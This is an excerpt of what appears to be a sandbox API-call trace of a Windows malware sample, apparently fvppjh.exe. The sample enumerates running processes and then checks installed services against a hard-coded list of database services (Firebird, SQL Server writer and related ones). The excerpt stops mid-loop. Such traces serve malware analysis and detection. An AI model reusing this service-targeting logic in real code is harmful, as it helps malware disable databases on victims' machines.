	[0165.986] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.986] lstrlenW (lpString="svchost.exe") returned 11
	[0165.986] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.987] lstrlenW (lpString="svchost.exe") returned 11
	[0165.987] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.294] lstrlenW (lpString="svchost.exe") returned 11
	[0166.294] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.295] lstrlenW (lpString="svchost.exe") returned 11
	[0166.295] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.295] lstrlenW (lpString="svchost.exe") returned 11
	[0166.295] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.296] lstrlenW (lpString="svchost.exe") returned 11
	[0166.296] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.296] lstrlenW (lpString="svchost.exe") returned 11
	[0166.296] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.297] lstrlenW (lpString="svchost.exe") returned 11
	[0166.297] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.297] lstrlenW (lpString="svchost.exe") returned 11
	[0166.297] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0166.297] lstrlenW (lpString="spoolsv.exe") returned 11
	[0166.297] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.298] lstrlenW (lpString="svchost.exe") returned 11
	[0166.298] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0166.298] lstrlenW (lpString="audiodg.exe") returned 11
	[0166.298] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0166.299] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0166.299] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0166.299] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0166.299] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0166.299] lstrlenW (lpString="Memory Compression") returned 18
	[0166.300] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0166.300] lstrlenW (lpString="sihost.exe") returned 10
	[0166.300] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.300] lstrlenW (lpString="svchost.exe") returned 11
	[0166.300] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0166.301] lstrlenW (lpString="taskhostw.exe") returned 13
	[0166.301] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0166.301] lstrlenW (lpString="taskhostw.exe") returned 13
	[0166.301] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0166.302] lstrlenW (lpString="explorer.exe") returned 12
	[0166.302] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0166.302] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0166.302] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0166.302] lstrlenW (lpString="SearchUI.exe") returned 12
	[0166.303] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0166.303] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0166.303] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0166.303] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0166.303] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0166.304] lstrlenW (lpString="fvppjh.exe") returned 10
	[0166.304] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0166.304] lstrlenW (lpString="cmd.exe") returned 7
	[0166.304] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0166.305] lstrlenW (lpString="conhost.exe") returned 11
	[0166.305] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0166.305] CloseHandle (hObject=0x528) returned 1
	[0166.305] Sleep (dwMilliseconds=0x1f4) 
	[0166.886] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0930
	[0166.886] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0166.886] GetLastError () returned 0xea
	[0166.886] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41e6cb8
	[0166.887] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e6cb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e6cb8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0166.888] CloseServiceHandle (hSCObject=0x41c0930) returned 1
	[0166.888] lstrlenW (lpString="Appinfo") returned 7
	[0166.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0166.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0166.888] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0166.888] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0166.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0166.888] lstrlenW (lpString="AppXSvc") returned 7
	[0166.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0166.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0166.888] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0166.888] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0166.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0166.888] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0166.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0166.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0166.888] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0166.888] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0166.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0166.888] lstrlenW (lpString="Audiosrv") returned 8
	[0166.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0166.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0166.888] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0166.889] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0166.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0166.889] lstrlenW (lpString="BFE") returned 3
	[0166.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0166.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0166.889] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0166.889] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0166.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0166.889] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0166.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0166.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0166.889] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0166.889] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0166.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0166.889] lstrlenW (lpString="CDPSvc") returned 6
	[0166.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0166.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0166.889] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0166.889] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0166.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0166.889] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0166.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0166.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0166.889] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0166.889] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0166.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0166.889] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0166.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0166.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0166.889] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0166.889] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0166.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0166.889] lstrlenW (lpString="CryptSvc") returned 8
	[0166.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0166.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0166.890] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0166.890] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0166.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0166.890] lstrlenW (lpString="DcomLaunch") returned 10
	[0166.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0166.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0166.890] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0166.890] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0166.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0166.890] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0166.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0166.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0166.890] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0166.890] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0166.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0166.890] lstrlenW (lpString="Dhcp") returned 4
	[0166.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0166.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0166.890] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0166.890] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0166.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0166.890] lstrlenW (lpString="Dnscache") returned 8
	[0166.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0166.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0166.890] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0166.890] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0166.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0166.890] lstrlenW (lpString="DPS") returned 3
	[0166.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0166.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0166.890] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0166.890] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0166.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0166.890] lstrlenW (lpString="DusmSvc") returned 7
	[0166.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0166.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0166.891] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0166.891] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0166.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0166.891] lstrlenW (lpString="EventLog") returned 8
	[0166.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0166.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0166.891] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0166.891] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0166.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0166.891] lstrlenW (lpString="EventSystem") returned 11
	[0166.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0166.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0166.891] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0166.891] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0166.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0166.891] lstrlenW (lpString="FontCache") returned 9
	[0166.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0166.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0166.891] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0166.891] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0166.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0166.891] lstrlenW (lpString="gpsvc") returned 5
	[0166.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0166.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0166.891] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0166.891] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0166.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0166.891] lstrlenW (lpString="iphlpsvc") returned 8
	[0166.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0166.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0166.891] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0166.892] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0166.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0166.892] lstrlenW (lpString="KeyIso") returned 6
	[0166.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0166.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0166.892] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0166.892] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0166.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0166.892] lstrlenW (lpString="LanmanServer") returned 12
	[0166.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0166.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0166.892] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0166.892] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0166.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0166.892] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0166.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0166.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0166.892] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0166.892] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0166.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0166.892] lstrlenW (lpString="lfsvc") returned 5
	[0166.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0166.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0166.892] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0166.892] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0166.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0166.892] lstrlenW (lpString="lmhosts") returned 7
	[0166.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0166.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0166.892] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0166.892] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0166.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0166.892] lstrlenW (lpString="LSM") returned 3
	[0166.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0166.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0166.893] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0166.893] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0166.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0166.893] lstrlenW (lpString="MpsSvc") returned 6
	[0166.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0166.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0166.893] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0166.893] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0166.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0166.893] lstrlenW (lpString="NcbService") returned 10
	[0166.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0166.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0166.893] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0166.893] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0166.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0166.893] lstrlenW (lpString="netprofm") returned 8
	[0166.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0166.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0166.893] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0166.893] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0166.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0166.893] lstrlenW (lpString="NgcSvc") returned 6
	[0166.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
